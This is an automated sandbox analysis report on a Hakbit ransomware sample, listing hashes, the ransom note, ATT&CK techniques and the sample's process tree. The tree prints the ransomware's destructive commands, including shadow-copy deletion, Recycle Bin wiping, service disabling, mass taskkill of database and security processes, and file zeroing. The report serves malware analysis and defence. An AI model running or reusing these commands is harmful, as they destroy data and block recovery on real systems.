hakbit | 60b290310f67adb0ae186b4b938ca466a6b55653b2519261fa425127f5500a1f

max time kernel
97s
max time network
124s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
09/06/2024, 17:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Ransomware/Client-2.exe
Size 80KB
Sample240609-vm7rjadd73
SHA256 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b
MD5 8152a3d0d76f7e968597f4f834fdfa9d
SHA1 c3cf05f3f79851d3c0d4266ab77c8e3e3f88c73e
SHA512 eb1a18cb03131466a4152fa2f6874b70c760317148684ca9b95044e50dc9cd19316d6e68e680ce18599114ba73e75264de5dab5afe611165b9c6c0b5f01002b4
SSDEEP 1536:SHbigeMiIeMfZ7tOBbFv0CIG0dDh/suIicRtpNf8SgRXt+AacRDVX8C4OntD4acN:SHbigeMiIeMfZ7tOBbFv0CIG0dDh/su0
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

hakbit evasion execution ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt

hakbit

Ransom Note

To recover your data contact the email below [email protected] Key Identifier: H7G3YJuuj8q96G4oCrkuDvoduF/9K6+1X36bruYBp2LSlWRZ7MUitkqBJdDHcG787gaG9YddPn0HA7nKlVU81Q+uN36hoaG5OTgZf9qc3qVu33wAB3qo9iOxIVZCKoLnuo848J2kP0kWxfKdnHwHrz2lzy5V55CSwC7qKd0q9pGANK4lqqK3UHH5XXjVy5Nl9UQCCZudyxetkjjkG0FDCvele6r0o0LSpkQEda3qOqX1E54XgrLRN41k0/ica5pFFJe0H6RCK6E8thVhDrmWNlv+Fvc4y46VrCaCr3Y83fJ9SnNdn40bzjVyTguyiT+KFwpd3qQSkDcSNCiIWKTSZyPM16HDSR37l2ffHN3CALu7fkF+A/qAghhOJdxmRvQtzc7sAVbxrKX3eVTpT8kuoFCbcBiybdX5iznFsX6/yCWwOfzLMBKdtj9yvll5eCk2ChdDF4VSOn8UaPaLu9NpF8TMt1lREdhJ4A/ru1OgbiNcPzmkTZlCys9ka/VBeG6MEKoXOfAuTWPog7lhrN7KpCq2KOjUgxkZxLfc9m/PjzAfwZY1fIAYk1GKCzNsPuimymd3rOyPg/yhayc3NetNH8VzeFhoLvZpoWCoJZG9rPJ47C7hFEIZy91FR+Owx94Y//pgMPuvAID3yQw9D0zD3a2RBAVcNF5gk0JcYhtSFNI= Number of files that were processed is: 438

Emails

[email protected]

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Hakbit
Ransomware which encrypts files using AES, first seen in November 2019.
ransomware hakbit

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation	Client-2.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk	Client-2.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4764	sc.exe
4988	sc.exe
2700	sc.exe
2288	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Kills process with taskkill 47 IoCs

evasion

pid	Process
748	taskkill.exe
4000	taskkill.exe
3668	taskkill.exe
3616	taskkill.exe
872	taskkill.exe
4132	taskkill.exe
2820	taskkill.exe
3336	taskkill.exe
1816	taskkill.exe
4580	taskkill.exe
4472	taskkill.exe
4252	taskkill.exe
2624	taskkill.exe
1964	taskkill.exe
3212	taskkill.exe
4056	taskkill.exe
4520	taskkill.exe
5092	taskkill.exe
636	taskkill.exe
4496	taskkill.exe
2964	taskkill.exe
1620	taskkill.exe
2608	taskkill.exe
4980	taskkill.exe
1932	taskkill.exe
1916	taskkill.exe
2424	taskkill.exe
2004	taskkill.exe
5088	taskkill.exe
3656	taskkill.exe
4012	taskkill.exe
1476	taskkill.exe
3952	taskkill.exe
1880	taskkill.exe
4432	taskkill.exe
4260	taskkill.exe
4720	taskkill.exe
460	taskkill.exe
3888	taskkill.exe
2128	taskkill.exe
1444	taskkill.exe
2756	taskkill.exe
1048	taskkill.exe
5016	taskkill.exe
5108	taskkill.exe
560	taskkill.exe
4992	taskkill.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
4252	notepad.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1480	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe
4704	Client-2.exe

Suspicious use of AdjustPrivilegeToken 48 IoCs

description	pid	Process
Token: SeDebugPrivilege	4704	Client-2.exe
Token: SeDebugPrivilege	2004	taskkill.exe
Token: SeDebugPrivilege	2756	taskkill.exe
Token: SeDebugPrivilege	5016	taskkill.exe
Token: SeDebugPrivilege	3656	taskkill.exe
Token: SeDebugPrivilege	5088	taskkill.exe
Token: SeDebugPrivilege	1048	taskkill.exe
Token: SeDebugPrivilege	3212	taskkill.exe
Token: SeDebugPrivilege	4012	taskkill.exe
Token: SeDebugPrivilege	2964	taskkill.exe
Token: SeDebugPrivilege	748	taskkill.exe
Token: SeDebugPrivilege	4000	taskkill.exe
Token: SeDebugPrivilege	1964	taskkill.exe
Token: SeDebugPrivilege	1916	taskkill.exe
Token: SeDebugPrivilege	3888	taskkill.exe
Token: SeDebugPrivilege	4056	taskkill.exe
Token: SeDebugPrivilege	3336	taskkill.exe
Token: SeDebugPrivilege	2608	taskkill.exe
Token: SeDebugPrivilege	5092	taskkill.exe
Token: SeDebugPrivilege	4132	taskkill.exe
Token: SeDebugPrivilege	3668	taskkill.exe
Token: SeDebugPrivilege	2424	taskkill.exe
Token: SeDebugPrivilege	1932	taskkill.exe
Token: SeDebugPrivilege	1620	taskkill.exe
Token: SeDebugPrivilege	4496	taskkill.exe
Token: SeDebugPrivilege	4720	taskkill.exe
Token: SeDebugPrivilege	636	taskkill.exe
Token: SeDebugPrivilege	1880	taskkill.exe
Token: SeDebugPrivilege	4520	taskkill.exe
Token: SeDebugPrivilege	4992	taskkill.exe
Token: SeDebugPrivilege	3952	taskkill.exe
Token: SeDebugPrivilege	560	taskkill.exe
Token: SeDebugPrivilege	5108	taskkill.exe
Token: SeDebugPrivilege	4580	taskkill.exe
Token: SeDebugPrivilege	2820	taskkill.exe
Token: SeDebugPrivilege	872	taskkill.exe
Token: SeDebugPrivilege	2128	taskkill.exe
Token: SeDebugPrivilege	1816	taskkill.exe
Token: SeDebugPrivilege	4252	taskkill.exe
Token: SeDebugPrivilege	4432	taskkill.exe
Token: SeDebugPrivilege	4472	taskkill.exe
Token: SeDebugPrivilege	1476	taskkill.exe
Token: SeDebugPrivilege	460	taskkill.exe
Token: SeDebugPrivilege	4740	powershell.exe
Token: SeDebugPrivilege	1444	taskkill.exe
Token: SeDebugPrivilege	3616	taskkill.exe
Token: SeDebugPrivilege	4980	taskkill.exe
Token: SeDebugPrivilege	2624	taskkill.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4704	Client-2.exe
4252	notepad.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
4704	Client-2.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4704 wrote to memory of 2288	4704	Client-2.exe	83
PID 4704 wrote to memory of 2288	4704	Client-2.exe	83
PID 4704 wrote to memory of 2700	4704	Client-2.exe	84
PID 4704 wrote to memory of 2700	4704	Client-2.exe	84
PID 4704 wrote to memory of 4988	4704	Client-2.exe	85
PID 4704 wrote to memory of 4988	4704	Client-2.exe	85
PID 4704 wrote to memory of 4764	4704	Client-2.exe	86
PID 4704 wrote to memory of 4764	4704	Client-2.exe	86
PID 4704 wrote to memory of 4012	4704	Client-2.exe	87
PID 4704 wrote to memory of 4012	4704	Client-2.exe	87
PID 4704 wrote to memory of 2964	4704	Client-2.exe	88
PID 4704 wrote to memory of 2964	4704	Client-2.exe	88
PID 4704 wrote to memory of 3656	4704	Client-2.exe	89
PID 4704 wrote to memory of 3656	4704	Client-2.exe	89
PID 4704 wrote to memory of 5088	4704	Client-2.exe	90
PID 4704 wrote to memory of 5088	4704	Client-2.exe	90
PID 4704 wrote to memory of 4056	4704	Client-2.exe	91
PID 4704 wrote to memory of 4056	4704	Client-2.exe	91
PID 4704 wrote to memory of 5016	4704	Client-2.exe	92
PID 4704 wrote to memory of 5016	4704	Client-2.exe	92
PID 4704 wrote to memory of 1048	4704	Client-2.exe	93
PID 4704 wrote to memory of 1048	4704	Client-2.exe	93
PID 4704 wrote to memory of 2756	4704	Client-2.exe	94
PID 4704 wrote to memory of 2756	4704	Client-2.exe	94
PID 4704 wrote to memory of 3212	4704	Client-2.exe	95
PID 4704 wrote to memory of 3212	4704	Client-2.exe	95
PID 4704 wrote to memory of 2004	4704	Client-2.exe	96
PID 4704 wrote to memory of 2004	4704	Client-2.exe	96
PID 4704 wrote to memory of 4348	4704	Client-2.exe	97
PID 4704 wrote to memory of 4348	4704	Client-2.exe	97
PID 4704 wrote to memory of 4000	4704	Client-2.exe	110
PID 4704 wrote to memory of 4000	4704	Client-2.exe	110
PID 4704 wrote to memory of 748	4704	Client-2.exe	111
PID 4704 wrote to memory of 748	4704	Client-2.exe	111
PID 4704 wrote to memory of 2128	4704	Client-2.exe	117
PID 4704 wrote to memory of 2128	4704	Client-2.exe	117
PID 4704 wrote to memory of 1964	4704	Client-2.exe	118
PID 4704 wrote to memory of 1964	4704	Client-2.exe	118
PID 4704 wrote to memory of 1932	4704	Client-2.exe	119
PID 4704 wrote to memory of 1932	4704	Client-2.exe	119
PID 4704 wrote to memory of 2624	4704	Client-2.exe	120
PID 4704 wrote to memory of 2624	4704	Client-2.exe	120
PID 4704 wrote to memory of 4980	4704	Client-2.exe	121
PID 4704 wrote to memory of 4980	4704	Client-2.exe	121
PID 4704 wrote to memory of 4580	4704	Client-2.exe	122
PID 4704 wrote to memory of 4580	4704	Client-2.exe	122
PID 4704 wrote to memory of 4252	4704	Client-2.exe	123
PID 4704 wrote to memory of 4252	4704	Client-2.exe	123
PID 4704 wrote to memory of 4496	4704	Client-2.exe	124
PID 4704 wrote to memory of 4496	4704	Client-2.exe	124
PID 4704 wrote to memory of 4260	4704	Client-2.exe	125
PID 4704 wrote to memory of 4260	4704	Client-2.exe	125
PID 4704 wrote to memory of 636	4704	Client-2.exe	126
PID 4704 wrote to memory of 636	4704	Client-2.exe	126
PID 4704 wrote to memory of 2608	4704	Client-2.exe	127
PID 4704 wrote to memory of 2608	4704	Client-2.exe	127
PID 4704 wrote to memory of 1444	4704	Client-2.exe	128
PID 4704 wrote to memory of 1444	4704	Client-2.exe	128
PID 4704 wrote to memory of 4992	4704	Client-2.exe	129
PID 4704 wrote to memory of 4992	4704	Client-2.exe	129
PID 4704 wrote to memory of 1816	4704	Client-2.exe	130
PID 4704 wrote to memory of 1816	4704	Client-2.exe	130
PID 4704 wrote to memory of 1620	4704	Client-2.exe	131
PID 4704 wrote to memory of 1620	4704	Client-2.exe	131

C:\Users\Admin\AppData\Local\Temp\Ransomware\Client-2.exe
"C:\Users\Admin\AppData\Local\Temp\Ransomware\Client-2.exe"
1⤵
- Checks computer location settings
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4704
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SQLTELEMETRY start= disabled
  2⤵
  - Launches sc.exe
  PID:2288
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
  2⤵
  - Launches sc.exe
  PID:2700
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SQLWriter start= disabled
  2⤵
  - Launches sc.exe
  PID:4988
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SstpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4764
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4012
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2964
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3656
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mysqld.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5088
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM sqbcoreservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4056
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM firefoxconfig.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5016
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM agntsvc.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1048
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM thebat.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2756
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM steam.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3212
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM encsvc.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2004
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
  2⤵
  PID:4348
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM excel.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4000
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM CNTAoSMgr.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:748
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM sqlwriter.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2128
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM tbirdconfig.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1964
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM dbeng50.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1932
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM thebat64.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2624
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM ocomm.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4980
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM infopath.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4580
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mbamtray.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4252
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM zoolz.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4496
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" IM thunderbird.exe /F
  2⤵
  - Kills process with taskkill
  PID:4260
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM dbsnmp.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:636
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM xfssvccon.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2608
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1444
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM Ntrtscan.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4992
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM isqlplussvc.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1816
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM onenote.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1620
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM PccNTMon.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:872
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM msaccess.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3888
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM outlook.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4432
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM tmlisten.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:460
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM msftesql.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5092
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM powerpnt.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1880
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3616
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM visio.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2424
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2820
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM winword.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5108
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mysqld-nt.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1476
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM wordpad.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4472
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mysqld-opt.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4520
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM ocautoupds.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4720
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM ocssd.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4132
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM oracle.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:560
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM sqlagent.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1916
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM sqlbrowser.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3952
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM sqlservr.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3336
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM synctime.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3668
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4740
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  - Suspicious use of FindShellTrayWindow
  PID:4252
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
  2⤵
  PID:2948
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.7 -n 3
    3⤵
    - Runs ping.exe
    PID:1480
- - C:\Windows\system32\fsutil.exe
    fsutil file setZeroData offset=0 length=524288 “%s”
    3⤵
    PID:2276
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\Ransomware\Client-2.exe
  2⤵
  PID:6120
- - C:\Windows\system32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:3844

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

edbtmp.log

Path C:\ProgramData\Microsoft\Network\Downloader\edbtmp.log
Size 1.3MB
SHA256 8aa2619f79d664e3ed7d21b185e33148225090bee94fe333a2c22d3c1c6bf518
MD5 f322573b409af942f81433425210c54b
SHA1 df675c2289a81b0f7f981907b5a4c7fce076ef35
SHA512 edff5a783e927a8728f478f5d98302a41d863b5ee841b2c026b790284e3bd0f2d4784cf14d5c86c59cff7e73b50d2f83d1f47eb1720d23d6d33227dc0052b41f
SSDEEP 24576:kSL9FRiJNCAMuxbCNkBWOTSDMPUCEDJgIheYpcdCZ5i34:k29FRiJFxbYOrPUBmQZ5D
MD5 SHA1 SHA512 SSDEEP

Submit Download

windowsdesktop-runtime-7.0.16-win-x64.msi

Path C:\ProgramData\Package Cache\{01B2627D-8443-41C0-97F0-9F72AC2FD6A0}v56.64.8804\windowsdesktop-runtime-7.0.16-win-x64.msi
Size 28.8MB
SHA256 838c2494bdbffde19969e310297783ef0f0df67ee666115b8e5b5854bc67f94f
MD5 24035f5e25aec256ab4af8928c5d05c8
SHA1 99068c3b3c7aeea85d75edb4859c67094df66b6a
SHA512 a8bfa73b3bddd088e24b2c2fd4c2ddce50873d26c0aca549c0e35d58353f60850aae7173048fa478046957933732f2f8d3975fadc3f19cac94f27a0ead265ae9
SSDEEP 786432:WDGsXziUpsgKcYkHoFGSXoSqc1l62HZXrY/EL7:WDGsXziUO/cTHocC79rYML7
MD5 SHA1 SHA512 SSDEEP

Submit Download

dotnet-host-8.0.2-win-x64.msi.energy[[email protected]]

Path C:\ProgramData\Package Cache\{2BB73336-4F69-4141-9797-E9BD6FE3980A}v64.8.8795\dotnet-host-8.0.2-win-x64.msi.energy[[email protected]]
Size 728KB
SHA256 6eee774c6b6ee5c89a8eabf85ff6978503bf6e5fcf66d85755310bf4fe2125a6
MD5 0289a9daaf1955e87caca6d780609e4c
SHA1 2d128207611ee686e10351b0fffcb9d723b76eb5
SHA512 95c042a018342ecb8521964f360c7fa506f66d1474264d31b34e877a75a7c1d795b38e8e399fee71c76aba1c69adb361a3bb0161e24a8e88d772dc1c5a97b0d0
SSDEEP 12288:irKwKnin1wjt+DDrqYmsX0I/sz6IMjUmbaL5tPndYSckUk7D9XkC/fVSkoV7OyM+:SKwKninmj1akzdgaPndYSckUS9ZId2W
MD5 SHA1 SHA512 SSDEEP

Submit Download

dotnet-runtime-6.0.27-win-x64.msi

Path C:\ProgramData\Package Cache\{79043ED0-7ED1-4227-A5E5-04C5594D21F7}v48.108.8828\dotnet-runtime-6.0.27-win-x64.msi
Size 25.7MB
SHA256 8491ac808065b27fca1e87e6a1f45f514168d629f7258c72ede0781a6f3ba184
MD5 c5baf8814e9c9a622810905106f4e323
SHA1 ad9a6fc42f0cf89f8c0e0e6f02310d84ae2a7016
SHA512 1648cd11b63b39a2f9441e67682cb467529d2a6bef3a1e6b1e09b222df1b1bfc211fdec7aa68b83d3bf47a835652cc7b4f364d3cd8357beba15dc13e770aec88
SSDEEP 786432:AWz0sLF0n7/mzZqEJbaAfCnafSDdzGDip5:csxU7/mzZJIAfusSpzg2
MD5 SHA1 SHA512 SSDEEP

Submit Download

vc_runtimeAdditional_x86.msi.energy[[email protected]]

Path C:\ProgramData\Package Cache\{BF08E976-B92E-4336-B56F-2171179476C4}v14.30.30704\packages\vcRuntimeAdditional_x86\vc_runtimeAdditional_x86.msi.energy[[email protected]]
Size 180KB
SHA256 8d8766d68e55d15385aa4ce1ab20ef2d38f2aaa0f6d65737f9ffa9bb10a65c09
MD5 167a2b2e4042da3e73896fa6a31d4be1
SHA1 a2f9f37187fa3e28734abc53d6b56e7dd7bba32c
SHA512 c4867d5ecc051894d768003abf8e38518456500b6530977f1bbd73fa82266e98d7e6849f449fb3ffa468bea162a28df5373378ca5b9f5c651334e0f244cfbe6a
SSDEEP 3072:q2tDucaax9bKWDVJlF95zGDyFuBKchIJJDOG/PPUzMkbQJucRhmTztCZ:5uc7x9KWhJlnaycBJKD3P8I6xcR8kZ
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
MD5 d28a889fd956d5cb3accfbaf1143eb6f
SHA1 157ba54b365341f8ff06707d996b3635da8446f7
SHA512 0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c
